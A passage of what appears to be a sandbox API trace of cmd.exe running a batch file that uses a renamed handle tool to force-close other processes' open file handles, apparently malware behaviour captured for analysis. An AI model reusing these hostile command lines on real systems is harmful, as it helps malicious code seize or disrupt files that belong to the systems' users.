_Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x41f2a0 | out: _Buffer=">") returned 1 [0099.903] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.903] GetFileType (hFile=0x7) returned 0x2 [0099.903] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.903] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f268 | out: lpMode=0x41f268) returned 1 [0099.904] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.904] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f294, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x41f294*=0x26) returned 1 [0099.904] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x41f524 | out: _Buffer="FOR") returned 3 [0099.904] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.904] GetFileType (hFile=0x7) returned 0x2 [0099.904] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.904] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.905] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.905] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x3) returned 1 [0099.905] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x41f524 | out: _Buffer=" /F") returned 3 [0099.905] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.905] GetFileType (hFile=0x7) returned 0x2 [0099.905] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.905] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.905] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.905] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x3) returned 1 [0099.906] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x41f524 | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0099.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.906] GetFileType (hFile=0x7) returned 0x2 [0099.906] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.906] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.906] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x20) returned 1 [0099.907] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x41f524 | out: _Buffer=" %I IN ") returned 7 [0099.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.907] GetFileType (hFile=0x7) returned 0x2 [0099.907] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.907] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.907] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x7) returned 1 [0099.909] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x41f520 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner`) DO ") returned 59 [0099.909] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.909] GetFileType (hFile=0x7) returned 0x2 [0099.909] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.909] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e0 | out: lpMode=0x41f4e0) returned 1 [0099.909] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.909] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x41f50c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f50c*=0x3b) returned 1 [0099.909] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.909] GetFileType (hFile=0x7) returned 0x2 [0099.910] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.910] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4ec | out: lpMode=0x41f4ec) returned 1 [0099.910] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.910] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x41f518, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x41f518*=0x1) returned 1 [0099.910] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.910] GetFileType (hFile=0x7) returned 0x2 [0099.911] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.911] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4d0 | out: lpMode=0x41f4d0) returned 1 [0099.911] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.911] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x84f4e0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x41f4fc, lpReserved=0x0 | out: lpBuffer=0x84f4e0*, lpNumberOfCharsWritten=0x41f4fc*=0xc) returned 1 [0099.911] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f508 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0099.911] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.911] GetFileType (hFile=0x7) returned 0x2 [0099.912] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.912] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4c8 | out: lpMode=0x41f4c8) returned 1 [0099.912] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.912] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f4f4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f4f4*=0x26) returned 1 [0099.913] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f524 | out: _Buffer=") ") returned 2 [0099.913] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.913] GetFileType (hFile=0x7) returned 0x2 [0099.913] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.913] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f4e4 | out: lpMode=0x41f4e4) returned 1 [0099.914] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.914] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f510, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f510*=0x2) returned 1 [0099.914] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f544 | out: _Buffer="\r\n") returned 2 [0099.914] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.914] GetFileType (hFile=0x7) returned 0x2 [0099.914] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0099.914] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f504 | out: lpMode=0x41f504) returned 1 [0099.915] _get_osfhandle (_FileHandle=1) returned 0x7 [0099.915] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f530, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f530*=0x2) returned 1 [0099.916] GetProcessHeap () returned 0x840000 [0099.916] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x2c) returned 0x8555e0 [0099.916] GetProcessHeap () returned 0x840000 [0099.916] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xc) returned 0x840db8 [0099.916] GetProcessHeap () returned 0x840000 [0099.916] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xc) returned 0x840dd0 [0099.916] GetProcessHeap () returned 0x840000 [0099.916] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xe) returned 0x840de8 [0099.916] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0099.916] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0099.916] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0099.916] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0099.916] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0099.916] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0099.916] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0099.916] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x41f460, _Radix=0 | out: _EndPtr=0x41f460*=",6 delims=: \"") returned 3 [0099.916] wcstol (in: _String="6 delims=: \"", _EndPtr=0x41f460, _Radix=0 | out: _EndPtr=0x41f460*=" delims=: \"") returned 6 [0099.916] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0099.916] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0099.916] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0099.917] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0099.917] GetProcessHeap () returned 0x840000 [0099.917] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840de8 | out: hHeap=0x840000) returned 1 [0099.917] GetProcessHeap () returned 0x840000 [0099.917] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xe) returned 0x840de8 [0099.917] GetProcessHeap () returned 0x840000 [0099.917] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x840db8, Size=0xe) returned 0x840e00 [0099.917] GetProcessHeap () returned 0x840000 [0099.917] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x840e00) returned 0xe [0099.917] GetProcessHeap () returned 0x840000 [0099.917] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x840dd0, Size=0x14) returned 0x856338 [0099.917] GetProcessHeap () returned 0x840000 [0099.917] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x856338) returned 0x14 [0099.917] _wpopen (_Command="bv6ncK8c.exe -accepteula \"jnwdui.dll.mui\" -nobanner", _Mode="rb") returned 0x76be2960 [0099.931] feof (_File=0x76be2960) returned 0 [0099.931] ferror (_File=0x76be2960) returned 0 [0099.931] GetProcessHeap () returned 0x840000 [0099.931] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x108) returned 0x856358 [0099.931] fgets (in: _Buf=0x856360, _MaxCount=256, _File=0x76be2960 | out: _Buf="No matching handles found.\r\r\n", _File=0x76be2960) returned="No matching handles found.\r\r\n" [0106.693] feof (_File=0x76be2960) returned 0 [0106.693] ferror (_File=0x76be2960) returned 0 [0106.693] GetProcessHeap () returned 0x840000 [0106.693] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x856358, Size=0x208) returned 0x856358 [0106.693] GetProcessHeap () returned 0x840000 [0106.693] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x856358) returned 0x208 [0106.693] fgets (in: _Buf=0x85637d, _MaxCount=483, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0107.271] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0107.274] GetProcessHeap () returned 0x840000 [0107.274] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x856358, Size=0x46) returned 0x856358 [0107.274] GetProcessHeap () returned 0x840000 [0107.274] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x856358) returned 0x46 [0107.274] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x85637d, cbMultiByte=29, lpWideCharStr=0x856360, cchWideChar=29 | out: lpWideCharStr="No matching handles found.\r\r\n") returned 29 [0107.274] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f154 | out: _Buffer="\r\n") returned 2 [0107.275] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.275] GetFileType (hFile=0x7) returned 0x2 [0107.276] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.276] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f114 | out: lpMode=0x41f114) returned 1 [0107.276] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.276] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f140, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f140*=0x2) returned 1 [0107.279] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0107.279] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41f150 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0107.279] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x41f150 | out: _Buffer=">") returned 1 [0107.279] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.279] GetFileType (hFile=0x7) returned 0x2 [0107.280] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.280] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f118 | out: lpMode=0x41f118) returned 1 [0107.280] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.280] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x41f144, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x41f144*=0x26) returned 1 [0107.280] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.280] GetFileType (hFile=0x7) returned 0x2 [0107.281] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.281] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f39c | out: lpMode=0x41f39c) returned 1 [0107.281] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.281] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x41f3c8, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x41f3c8*=0x1) returned 1 [0107.281] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.281] GetFileType (hFile=0x7) returned 0x2 [0107.282] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.282] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f380 | out: lpMode=0x41f380) returned 1 [0107.282] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.282] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x864ab0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x41f3ac, lpReserved=0x0 | out: lpBuffer=0x864ab0*, lpNumberOfCharsWritten=0x41f3ac*=0xc) returned 1 [0107.282] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f3b8 | out: _Buffer=" -accepteula -c -y -p handles -nobanner ") returned 41 [0107.282] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.283] GetFileType (hFile=0x7) returned 0x2 [0107.283] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.283] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f378 | out: lpMode=0x41f378) returned 1 [0107.283] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.283] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x41f3a4, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f3a4*=0x29) returned 1 [0107.284] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x41f3d4 | out: _Buffer=") ") returned 2 [0107.284] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.285] GetFileType (hFile=0x7) returned 0x2 [0107.285] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.285] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f394 | out: lpMode=0x41f394) returned 1 [0107.285] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.285] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f3c0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f3c0*=0x2) returned 1 [0107.285] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x41f3f4 | out: _Buffer="\r\n") returned 2 [0107.285] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.285] GetFileType (hFile=0x7) returned 0x2 [0107.286] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0107.286] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f3b4 | out: lpMode=0x41f3b4) returned 1 [0107.286] _get_osfhandle (_FileHandle=1) returned 0x7 [0107.286] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x41f3e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x41f3e0*=0x2) returned 1 [0107.287] GetConsoleTitleW (in: lpConsoleTitle=0x41ef04, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0107.289] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8565c8, lpFilePart=0x41ea24 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41ea24*="Desktop") returned 0x25 [0107.289] SetErrorMode (uMode=0x0) returned 0x1 [0107.289] GetProcessHeap () returned 0x840000 [0107.289] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x8565c0, Size=0x6e) returned 0x8565c0 [0107.289] GetProcessHeap () returned 0x840000 [0107.289] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x8565c0) returned 0x6e [0107.289] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0107.289] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0107.289] GetProcessHeap () returned 0x840000 [0107.289] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x120) returned 0x856638 [0107.289] GetProcessHeap () returned 0x840000 [0107.289] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x238) returned 0x856760 [0107.290] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0107.290] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x41e7c0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41e7c0) returned 0x856910 [0107.290] FindClose (in: hFindFile=0x856910 | out: hFindFile=0x856910) returned 1 [0107.290] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0107.290] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0107.290] GetConsoleTitleW (in: lpConsoleTitle=0x41ec98, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0107.290] InitializeProcThreadAttributeList (in: lpAttributeList=0x41eb20, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x41ebe8 | out: lpAttributeList=0x41eb20, lpSize=0x41ebe8) returned 1 [0107.290] UpdateProcThreadAttribute (in: lpAttributeList=0x41eb20, dwFlags=0x0, Attribute=0x60001, lpValue=0x41ebe0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x41eb20, lpPreviousValue=0x0) returned 1 [0107.291] GetStartupInfoW (in: lpStartupInfo=0x41eadc | out: lpStartupInfo=0x41eadc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0107.291] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0107.291] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x41eb7c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x41ebc8 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x41ebc8*(hProcess=0x74, hThread=0x84, dwProcessId=0xec4, dwThreadId=0xec8)) returned 1 [0107.303] CloseHandle (hObject=0x84) returned 1 [0107.303] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0107.303] GetProcessHeap () returned 0x840000 [0107.303] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x859650 | out: hHeap=0x840000) returned 1 [0107.303] GetEnvironmentStringsW () returned 0x858ac0* [0107.303] GetProcessHeap () returned 0x840000 [0107.303] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb84) returned 0x859650 [0107.303] FreeEnvironmentStringsW (penv=0x858ac0) returned 1 [0107.303] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0109.583] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x41eabc | out: lpExitCode=0x41eabc*=0x0) returned 1 [0109.583] CloseHandle (hObject=0x74) returned 1 [0109.583] _vsnwprintf (in: _Buffer=0x41ec04, _BufferCount=0x13, _Format="%08X", _ArgList=0x41eac8 | out: _Buffer="00000000") returned 8 [0109.583] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0109.583] GetProcessHeap () returned 0x840000 [0109.583] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x859650 | out: hHeap=0x840000) returned 1 [0109.583] GetEnvironmentStringsW () returned 0x858ac0* [0109.583] GetProcessHeap () returned 0x840000 [0109.583] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb84) returned 0x859650 [0109.583] FreeEnvironmentStringsW (penv=0x858ac0) returned 1 [0109.583] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0109.583] GetProcessHeap () returned 0x840000 [0109.583] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x859650 | out: hHeap=0x840000) returned 1 [0109.583] GetEnvironmentStringsW () returned 0x858ac0* [0109.583] GetProcessHeap () returned 0x840000 [0109.584] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb84) returned 0x859650 [0109.584] FreeEnvironmentStringsW (penv=0x858ac0) returned 1 [0109.584] GetProcessHeap () returned 0x840000 [0109.584] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840dd0 | out: hHeap=0x840000) returned 1 [0109.584] DeleteProcThreadAttributeList (in: lpAttributeList=0x41eb20 | out: lpAttributeList=0x41eb20) [0109.584] GetProcessHeap () returned 0x840000 [0109.584] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856358 | out: hHeap=0x840000) returned 1 [0109.584] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.584] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0109.584] _get_osfhandle (_FileHandle=1) returned 0x7 [0109.584] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0109.584] _get_osfhandle (_FileHandle=0) returned 0x3 [0109.584] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0109.585] SetConsoleInputExeNameW () returned 0x1 [0109.585] GetConsoleOutputCP () returned 0x1b5 [0109.585] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0109.585] SetThreadUILanguage (LangId=0x0) returned 0x409 [0109.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0109.586] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0109.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0109.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856890 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856760 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856638 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8565c0 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x851060 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8563a8 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864af0 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x864aa8 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x840de8 | out: hHeap=0x840000) returned 1 [0109.586] GetProcessHeap () returned 0x840000 [0109.586] HeapFree (in: hHeap=0x840000, dwFlags=0x0, 